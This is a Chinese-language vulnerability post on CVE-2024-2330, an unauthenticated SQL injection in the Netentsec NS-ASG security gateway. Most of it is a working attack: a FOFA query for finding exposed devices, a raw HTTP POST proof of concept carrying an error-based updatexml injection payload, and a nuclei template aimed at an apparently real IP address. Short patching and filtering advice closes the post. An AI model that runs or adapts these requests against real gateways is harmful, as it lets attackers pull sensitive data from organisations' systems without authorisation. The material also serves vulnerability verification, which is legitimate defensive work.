网康科技 NS-ASG 应用安全网关index.php存在SQL注入漏洞(CVE-2024-2330)

漏洞描述

网康科技的NS-ASG应用安全网关是一款软硬件一体化的产品，集成了SSL和 IPSecQ，旨在保障业务访问的安全性，适配所有移动终端，提供多种链路均衡和选择技术，支持多种认证方式灵活组合，以及内置短信认证、LDAP令牌、USB KEY等多达13种认证方式。击者可以远程发起攻击。未经身份验证的攻击者可以远程发起攻击获取服务器敏感数据。

产品界面

fofa语法

app="网康科技-NS-ASG安全网关"

POC

POST /protocol/index.php HTTP/1.1
Host: 
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

nuclei验证

id: wangkang-NS-ASG-Gateway-index-sql
info:
  name: 网康科技 NS-ASG 应用安全网关index.php存在SQL注入漏洞(CVE-2024-2330)
  author: nobody
  severity: high
  description: |
    网康科技的NS-ASG应用安全网关是一款软硬件一体化的产品，集成了SSL和 IPSecQ，旨在保障业务访问的安全性，适配所有移动终端，提供多种链路均衡和选择技术，支持多种认证方式灵活组合，以及内置短信认证、LDAP令牌、USB KEY等多达13种认证方式。击者可以远程发起攻击。未经身份验证的攻击者可以远程发起攻击获取服务器敏感数据。
  impact: |
    未经身份验证的攻击者可以远程发起攻击获取服务器敏感数据
  remediation: |
    升级至最新版本，对输入做严格过滤，禁止公网访问
  metadata:
    verified: true
    max-request: 3
    fofa-query: app="网康科技-NS-ASG安全网关"
  tags: gateway,NS-ASG
requests:
  - raw:
      - |
        POST /protocol/index.php HTTP/1.1
        Host: 223.210.14.6:8081
        Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
        Accept: */*
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate
        Sec-Fetch-Dest: empty
        Sec-Fetch-Mode: cors
        Sec-Fetch-Site: same-origin
        Te: trailers
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 263
        jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
    matchers:
      - type: dsl
        dsl:
        - status_code == 200 && contains_all(body,"XPATH syntax error:")

修复建议

• 建议升级到最新版本或打补丁
• 非必要禁止公网访问或白名单访问
• 对输入做严格过滤